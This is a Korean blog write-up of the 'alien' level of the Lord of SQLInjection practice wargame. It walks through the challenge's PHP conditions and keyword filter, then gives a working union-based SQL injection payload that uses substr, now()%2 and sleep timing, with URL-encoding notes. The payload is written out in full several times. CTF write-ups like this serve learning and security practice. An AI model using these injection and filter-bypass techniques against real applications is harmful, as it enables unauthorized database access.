(Lord of SQLInjection) alien 문제입니다.
먼저 제공되는 소스코드를 보면

쿼리가 두개 존재합니다.
그런데 GET으로 받는 건 no한번뿐이며 한번 입력한 no가 첫번째 쿼리와 두번째 쿼리에
사용되고 있습니다.
문제를 해결하기 위해서는 어떻게 해야하는지
if($_GET['no']){
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] !== "admin") exit("sandbox1");
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] === "admin") exit("sandbox2");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") exit("sandbox");
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") solve("alien");
}
어떻게 if구문을 통과해야하는지를 보면
query의 결과로 id가 admin이 아닐시 통과가 되지 않습니다.
두번째 if는 query의 결과로 id가 admin이라면 통과가 되지 않습니다.
세번째 if는 query2가 admin이라면 통과가 되지 않습니다.
마지막 if는 query2의 결과로 id가 admin이라면 문제가 해결된다고 합니다.
이게 무슨소리 인가 머리가 멍해지는데 정리해보면
if($_GET['no']){
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] !== "admin") exit("sandbox1"); // id가 admin 일것
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] === "admin") exit("sandbox2"); // id가 admin 이 아닐것
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") exit("sandbox"); // id가 admin 이 아닐것
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") solve("alien"); // id가 admin 일것
}
주석부분 처럼 정리가 됩니다.
(이게 어떻게 가능한가 싶어 계속고민하다가 결국 라이트업을 참고했습니다.)
이문제를 해결하기 위해서는 now()와 sleep()이 필요하다고 합니다.
먼저 query 와 query2를 자세히 살펴보면
query : select id from prob_alien where no=
query2 : select id from prob_alien where no=''
싱글쿼터의 유무로 나눌수 있습니다.
만약 첫번째 쿼리에서 union slelect id='admin'을 입력한다해도
두번째 쿼리에서 싱글쿼터로 인해 정상적인 쿼리가 구성되지 않습니다.
query : select id from prob_alien where no=1 union select id='admin'
query2 : select id from prob_alien where no='1 union select id='admin''
해서 이를 우회하기 위해서 union을 두번사용하는 아래와 같은 구문이 사용된다고 합니다.
query : select id from prob_alien where no=1 union select 1#'\n union select 1#
query2 : select id from prob_alien where no='1 union select 1#'\n union select 1#'
첫번째 쿼리에서는 첫 주석처리 #으로 인해 뒤의 싱글쿼터 부분부터 주석처리가 되어
select 1이 출력되게 되며
두번째 쿼리에서는 첫 주석처리 #이 주석처리를 하지만 \n이라는 줄바꿈문자에 의해
한줄 주석처리가 끝나며 뒤에오는 union이 실행되게 됩니다.
이를 활용해 select 1대신 admin을 입력하는 방식으로 활용이 가능합니다.
다만 if문 4가지를 살펴볼때 같은 쿼리이지만 2가지의 결과를 내는 것이 필요합니다.
가장 먼저 생각 나는것은 if조건문인데 필터링을 살펴보면

admin, and, or, if, coalesce, case, _, ., prob, time 등을 필터링 하고 있습니다.
사용하려던 if문 분 아니라 case 까지 필터링 하고 있어 조건식으로는 어려움이 있습니다.
참고한 라이트업 에서는 substr()과 now()를 활용해 이를 우회하였습니다.
먼저 substr문자열을 자르는 함수입니다.
만약 아래처럼 substr이 자를 오프셋을 0으로 둔다면
substr("Hello", 0,1)
당연하게도 아무것도 출력이 되지 않습니다.
하지만 아무것도 출력되지 않았다고 null은 아니며, 리턴값은 신기하게 str이라고 합니다.
즉 문자열의 길이가 0인 문자열을 반환한다는 것입니다.
즉 substr("admin",0,5)와 substr("admin",1,5)를 번갈아가면서 출력이 가능한다면
admin이 아닌값이 한번, admin인 값이 한번씩 출력이 가능해집니다.
여기서 0 과 1을 번갈아가면서 해줄수 있는 역할을 하는 것이 now()입니다.
now()는 현재시간을 초단위로 출력해주는 함수 입니다.
초단위로 출력된 값을 %2로 나눠준다면 0과 1을 출력하는 것이 가능합니다.
query : select id from prob_alien where no=1 union select substr(0x61646d696e, now()%2, 5)#'\n union select substr(0x61646d696e, now()%2, 5)#
query2 : select id from prob_alien where no='1 union select substr(0x61646d696e, now()%2, 5)#'\n union select substr(0x61646d696e, now()%2, 5)#'
자 그럼다시 if구문을 통과할 조건을 살펴보면
if($_GET['no']){
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] !== "admin") exit("sandbox1"); // id가 admin 일것
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] === "admin") exit("sandbox2"); // id가 admin 이 아닐것
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") exit("sandbox"); // id가 admin 이 아닐것
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") solve("alien"); // id가 admin 일것
}
admin > admin x > admin x > admin 순서입니다.
substr에 들어갈 0(짝수)과 1(홀수)로 구분해본다면
1(홀) > 0(짝) > 0(짝) > 1(홀) 순서가 되게 됩니다.
즉 순서가 한번 꼬아져 있습니다.
꼬여있는 순서를 해결하기 위해서는 sleep()함수를 사용합니다.
sleep함수를 이용해 시간의 텀을 준다면 꼬여져 있는 순서를 원하는대로 조절이 가능합니다.
하지만 여기서 문제가 생깁니다.
sleep()함수를 넣는다고 하더라도
두 쿼리는 싱글쿼터의 유무로 query에서 실행되던 부분이 query2에서는 실행되지 않는 문제가 생깁니다.
query : select id from prob_alien where no=1 union select substr(0x61646d696e, now()%2, 5) union select sleep(2)#'\n union select substr(0x61646d696e, now()%2+1, 5) union select sleep(1)#
query2 : select id from prob_alien where no='1 union select substr(0x61646d696e, now()%2, 5) union select sleep(2)#'\n union select substr(0x61646d696e, now()%2+1, 5) union select sleep(1)#'
해서 query2에서 실행될 부분에 now()%2+1로 1을 추가해 1초를 지연시켜 해결하는 방식을 취해줍니다.
if구문을 보면서
if($_GET['no']){
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] !== "admin") exit("sandbox1"); // id가 admin 일것
$r = mysqli_fetch_array(mysqli_query($db,$query));
if($r['id'] === "admin") exit("sandbox2"); // id가 admin 이 아닐것
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") exit("sandbox"); // id가 admin 이 아닐것
$r = mysqli_fetch_array(mysqli_query($db,$query2));
if($r['id'] === "admin") solve("alien"); // id가 admin 일것
}
최종적으로 코드의 시간흐름을 정리하면
- 홀수 초의 시간에 query가 실행 ==> 첫 if 구문 통과
- sleep(2)와 sleep(1)으로 짝수 초로 변경 ==> 두번째 if 구문 통과
- 다시 sleep(2)와 sleep(1)지연으로 홀수 초의 시간으로 변경
- 현재 홀수 초 상태에서 no%2+1로 인해 dmin 출력 ==> 세번째 if 구문 통과
- 다시 sleep(2)와 sleep(1)지연으로 짝수초 상태에서 실행 ==> id가 admin이 되어 문제 해결
익스플로잇 코드를 문제사이트에 전달해보면
query : select id from prob_alien where no=1 union select substr(0x61646d696e, now()%2, 5) union select sleep(2)#'\n union select substr(0x61646d696e, now()%2+1, 5) union select sleep(1)#
query2 : select id from prob_alien where no='1 union select substr(0x61646d696e, now()%2, 5) union select sleep(2)#'\n union select substr(0x61646d696e, now()%2+1, 5) union select sleep(1)#'

문제가 해결되었습니다.
(추가로 \n과 #, +는 URL로 전달시에 URL인코딩하여 %0a와 %23, %2b로 변경후 전달해야 합니다.)
Reference
'Wargame(Web) > Lord of SQLInjection' 카테고리의 다른 글
(Lord of SQLInjection) death 문제 (0) | 2022.12.01 |
---|---|
(Lord of SQLInjection) cthulhu 문제 (0) | 2022.11.30 |
(Lord of SQLInjection) zombie 문제 (0) | 2022.11.25 |
(Lord of SQLInjection) ouroboros 문제 (0) | 2022.11.21 |
(Lord of SQLInjection) phantom 문제 (0) | 2022.11.21 |